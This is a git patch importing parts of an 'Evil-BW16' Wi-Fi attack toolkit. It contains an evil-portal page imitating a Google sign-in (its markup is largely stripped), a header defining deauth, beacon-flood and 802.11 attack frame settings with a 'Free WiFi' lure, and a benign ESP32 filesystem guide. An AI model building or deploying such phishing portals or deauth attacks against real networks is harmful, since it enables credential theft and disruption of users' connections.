From 3c4d2b42d3cffd5810f547fcf7c7cabbfc98b0ef Mon Sep 17 00:00:00 2001 From: drjones Date: Wed, 20 May 2026 10:03:51 -0700 Subject: [PATCH] chore: import local project into Gitea --- .gitignore | 30 +++ data/evil_portal.html | 70 +++---- master/Evil-BW16/BW16_defs.h | 90 ++++----- master/filesystem_setup.md | 360 +++++++++++++++++------------------ 4 files changed, 290 insertions(+), 260 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..81d430d --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +# OS / tooling +.DS_Store +Thumbs.db + +# Editors +.cursor/ + +# Secrets +.env +.env.* +!.env.example +!.env.template + +# Python +__pycache__/ +*.py[cod] +.venv/ +venv/ + +# Node / frontend +node_modules/ +dist/ + +# Typical embedded / tooling noise +*.log + +# Builds (adjust per subtree if needed) +**/build/.ninja_deps +**/build/.ninja_log + diff --git a/data/evil_portal.html b/data/evil_portal.html index a277ec1..79379b2 100644 --- a/data/evil_portal.html +++ b/data/evil_portal.html @@ -1,35 +1,35 @@ - - - - - - Sign in - Google Accounts - - - -
- -

Sign in

-

Use your Google Account

-
- - - -
- -
- - + + + + + + Sign in - Google Accounts + + + +
+ +

Sign in

+

Use your Google Account

+
+ + + +
+ +
+ + diff --git a/master/Evil-BW16/BW16_defs.h b/master/Evil-BW16/BW16_defs.h index 12109e7..ea35ddb 100644 --- a/master/Evil-BW16/BW16_defs.h +++ b/master/Evil-BW16/BW16_defs.h @@ -1,45 +1,45 @@ -#pragma once - -// BLE service + char UUIDs for Evil-BW16 network -#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC" -#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD" -#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE" - -// BLE device role identifiers -#define ROLE_MASTER -// slaves omit the above define - -// Web server credentials (master only) -#define AP_SSID "evilMaster" -#define AP_PASS "master" - -// 5GHz Portal credentials -#define PORTAL_DEFAULT_SSID "Free WiFi" -#define PORTAL_IP "192.168.5.1" - -// Maximum slaves to track -#define MAX_SLAVES 8 - -// BLE connection parameters for better reliability -#define BLE_SCAN_TIMEOUT_MS 10000 -#define BLE_RECONNECT_INTERVAL_MS 30000 -#define BLE_CONNECTION_TIMEOUT_MS 5000 - -// Attack coordination -#define ATTACK_SYNC_DELAY_MS 100 -#define DEAUTH_FRAME_COUNT 5 -#define BEACON_FLOOD_INTERVAL_MS 100 - -// Channel definitions -#define CHANNELS_2GHZ_COUNT 13 -#define CHANNELS_5GHZ_COUNT 25 -extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT]; -extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT]; - -// Frame types for 802.11 attacks -#define FRAME_TYPE_BEACON 0x80 -#define FRAME_TYPE_DEAUTH 0xC0 -#define FRAME_TYPE_DISASSOC 0xA0 -#define FRAME_TYPE_AUTH 0xB0 -#define FRAME_TYPE_ASSOC_REQ 0x00 -#define FRAME_TYPE_PROBE_REQ 0x40 +#pragma once + +// BLE service + char UUIDs for Evil-BW16 network +#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC" +#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD" +#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE" + +// BLE device role identifiers +#define ROLE_MASTER +// slaves omit the above define + +// Web server credentials (master only) +#define AP_SSID "evilMaster" +#define AP_PASS "master" + +// 5GHz Portal credentials +#define PORTAL_DEFAULT_SSID "Free WiFi" +#define PORTAL_IP "192.168.5.1" + +// Maximum slaves to track +#define MAX_SLAVES 8 + +// BLE connection parameters for better reliability +#define BLE_SCAN_TIMEOUT_MS 10000 +#define BLE_RECONNECT_INTERVAL_MS 30000 +#define BLE_CONNECTION_TIMEOUT_MS 5000 + +// Attack coordination +#define ATTACK_SYNC_DELAY_MS 100 +#define DEAUTH_FRAME_COUNT 5 +#define BEACON_FLOOD_INTERVAL_MS 100 + +// Channel definitions +#define CHANNELS_2GHZ_COUNT 13 +#define CHANNELS_5GHZ_COUNT 25 +extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT]; +extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT]; + +// Frame types for 802.11 attacks +#define FRAME_TYPE_BEACON 0x80 +#define FRAME_TYPE_DEAUTH 0xC0 +#define FRAME_TYPE_DISASSOC 0xA0 +#define FRAME_TYPE_AUTH 0xB0 +#define FRAME_TYPE_ASSOC_REQ 0x00 +#define FRAME_TYPE_PROBE_REQ 0x40 diff --git a/master/filesystem_setup.md b/master/filesystem_setup.md index 8625482..7ee095a 100644 --- a/master/filesystem_setup.md +++ b/master/filesystem_setup.md @@ -1,181 +1,181 @@ -# 📁 Filesystem Setup Guide for Evil-BW16 - -## 🎯 **Problem Solved** - -The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving. - -## 🔧 **Implementation Options** - -### **Option 1: SPIFFS (SPI Flash File System) - Recommended** - -#### **Step 1: Install SPIFFS Library** -```bash -# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS" -# Install "SPIFFS" by me-no-dev -``` - -#### **Step 2: Add SPIFFS Support to Master Firmware** -```cpp -#include - -void setupFilesystem() { - if (!SPIFFS.begin(true)) { - addToLog("❌ SPIFFS initialization failed"); - return; - } - addToLog("✅ SPIFFS initialized successfully"); - - // List files for debugging - File root = SPIFFS.open("/"); - File file = root.openNextFile(); - while (file) { - addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes"); - file = root.openNextFile(); - } -} - -String loadFromFilesystem(const String &filename) { - String filePath = filename; - - // Map web paths to filesystem paths - if (filename == "/" || filename == "/index.html") { - filePath = "/web_ui/index.html"; - } else if (filename.startsWith("/css/")) { - filePath = "/web_ui" + filename; - } else if (filename.startsWith("/js/")) { - filePath = "/web_ui" + filename; - } else if (filename.startsWith("/img/")) { - filePath = "/web_ui" + filename; - } - - File file = SPIFFS.open(filePath, "r"); - if (!file) { - addToLog("❌ File not found: " + filePath); - return ""; - } - - String content = file.readString(); - file.close(); - addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)"); - return content; -} -``` - -#### **Step 3: Upload Files to SPIFFS** -```bash -# Method 1: Arduino IDE SPIFFS Upload Tool -# 1. Install "ESP32 Sketch Data Upload" tool -# 2. Create 'data' folder in your sketch directory -# 3. Copy web_ui folder to data/ -# 4. Tools > ESP32 Sketch Data Upload - -# Method 2: Manual upload using esptool -esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin -``` - -### **Option 2: LittleFS (Alternative to SPIFFS)** - -```cpp -#include - -void setupFilesystem() { - if (!LittleFS.begin()) { - addToLog("❌ LittleFS initialization failed"); - return; - } - addToLog("✅ LittleFS initialized successfully"); -} - -String loadFromFilesystem(const String &filename) { - String filePath = filename; - - if (filename == "/" || filename == "/index.html") { - filePath = "/web_ui/index.html"; - } - - File file = LittleFS.open(filePath, "r"); - if (!file) { - return ""; - } - - String content = file.readString(); - file.close(); - return content; -} -``` - -### **Option 3: SD Card (External Storage)** - -```cpp -#include - -void setupFilesystem() { - if (!SD.begin(5)) { // CS pin 5 - addToLog("❌ SD card initialization failed"); - return; - } - addToLog("✅ SD card initialized successfully"); -} - -String loadFromFilesystem(const String &filename) { - String filePath = filename; - - if (filename == "/" || filename == "/index.html") { - filePath = "/web_ui/index.html"; - } - - File file = SD.open(filePath, FILE_READ); - if (!file) { - return ""; - } - - String content = file.readString(); - file.close(); - return content; -} -``` - -## 📂 **File Structure** - -``` -data/ -├── web_ui/ -│ ├── index.html # Main web interface -│ ├── css/ -│ │ └── style.css # Stylesheets -│ ├── js/ -│ │ └── script.js # JavaScript -│ └── img/ -│ └── logo.png # Images -└── portal/ - └── evil_portal.html # Evil portal page -``` - -## 🚀 **Quick Start (Current Setup)** - -Since you already have the web interface embedded in code, you can: - -1. **Keep current setup** - Works immediately, no filesystem needed -2. **Migrate to filesystem** - Follow the steps above -3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks - -## 🔄 **Migration Steps** - -1. **Backup current setup** -2. **Choose filesystem option** (SPIFFS recommended) -3. **Update master firmware** with filesystem code -4. **Upload web files** to device -5. **Test and verify** - -## 📋 **Current Status** - -✅ **Working**: Embedded web interface (current implementation) -🔄 **Available**: Filesystem serving (needs implementation) -📁 **Ready**: Your web interface files in `data/web_ui/` - -## 🎯 **Recommendation** - -For immediate use: **Keep current embedded setup** - it works perfectly! -For production: **Migrate to SPIFFS** for better maintainability. - +# 📁 Filesystem Setup Guide for Evil-BW16 + +## 🎯 **Problem Solved** + +The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving. + +## 🔧 **Implementation Options** + +### **Option 1: SPIFFS (SPI Flash File System) - Recommended** + +#### **Step 1: Install SPIFFS Library** +```bash +# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS" +# Install "SPIFFS" by me-no-dev +``` + +#### **Step 2: Add SPIFFS Support to Master Firmware** +```cpp +#include + +void setupFilesystem() { + if (!SPIFFS.begin(true)) { + addToLog("❌ SPIFFS initialization failed"); + return; + } + addToLog("✅ SPIFFS initialized successfully"); + + // List files for debugging + File root = SPIFFS.open("/"); + File file = root.openNextFile(); + while (file) { + addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes"); + file = root.openNextFile(); + } +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + // Map web paths to filesystem paths + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } else if (filename.startsWith("/css/")) { + filePath = "/web_ui" + filename; + } else if (filename.startsWith("/js/")) { + filePath = "/web_ui" + filename; + } else if (filename.startsWith("/img/")) { + filePath = "/web_ui" + filename; + } + + File file = SPIFFS.open(filePath, "r"); + if (!file) { + addToLog("❌ File not found: " + filePath); + return ""; + } + + String content = file.readString(); + file.close(); + addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)"); + return content; +} +``` + +#### **Step 3: Upload Files to SPIFFS** +```bash +# Method 1: Arduino IDE SPIFFS Upload Tool +# 1. Install "ESP32 Sketch Data Upload" tool +# 2. Create 'data' folder in your sketch directory +# 3. Copy web_ui folder to data/ +# 4. Tools > ESP32 Sketch Data Upload + +# Method 2: Manual upload using esptool +esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin +``` + +### **Option 2: LittleFS (Alternative to SPIFFS)** + +```cpp +#include + +void setupFilesystem() { + if (!LittleFS.begin()) { + addToLog("❌ LittleFS initialization failed"); + return; + } + addToLog("✅ LittleFS initialized successfully"); +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } + + File file = LittleFS.open(filePath, "r"); + if (!file) { + return ""; + } + + String content = file.readString(); + file.close(); + return content; +} +``` + +### **Option 3: SD Card (External Storage)** + +```cpp +#include + +void setupFilesystem() { + if (!SD.begin(5)) { // CS pin 5 + addToLog("❌ SD card initialization failed"); + return; + } + addToLog("✅ SD card initialized successfully"); +} + +String loadFromFilesystem(const String &filename) { + String filePath = filename; + + if (filename == "/" || filename == "/index.html") { + filePath = "/web_ui/index.html"; + } + + File file = SD.open(filePath, FILE_READ); + if (!file) { + return ""; + } + + String content = file.readString(); + file.close(); + return content; +} +``` + +## 📂 **File Structure** + +``` +data/ +├── web_ui/ +│ ├── index.html # Main web interface +│ ├── css/ +│ │ └── style.css # Stylesheets +│ ├── js/ +│ │ └── script.js # JavaScript +│ └── img/ +│ └── logo.png # Images +└── portal/ + └── evil_portal.html # Evil portal page +``` + +## 🚀 **Quick Start (Current Setup)** + +Since you already have the web interface embedded in code, you can: + +1. **Keep current setup** - Works immediately, no filesystem needed +2. **Migrate to filesystem** - Follow the steps above +3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks + +## 🔄 **Migration Steps** + +1. **Backup current setup** +2. **Choose filesystem option** (SPIFFS recommended) +3. **Update master firmware** with filesystem code +4. **Upload web files** to device +5. **Test and verify** + +## 📋 **Current Status** + +✅ **Working**: Embedded web interface (current implementation) +🔄 **Available**: Filesystem serving (needs implementation) +📁 **Ready**: Your web interface files in `data/web_ui/` + +## 🎯 **Recommendation** + +For immediate use: **Keep current embedded setup** - it works perfectly! +For production: **Migrate to SPIFFS** for better maintainability. + Your web interface is already 10x enhanced and fully functional! \ No newline at end of file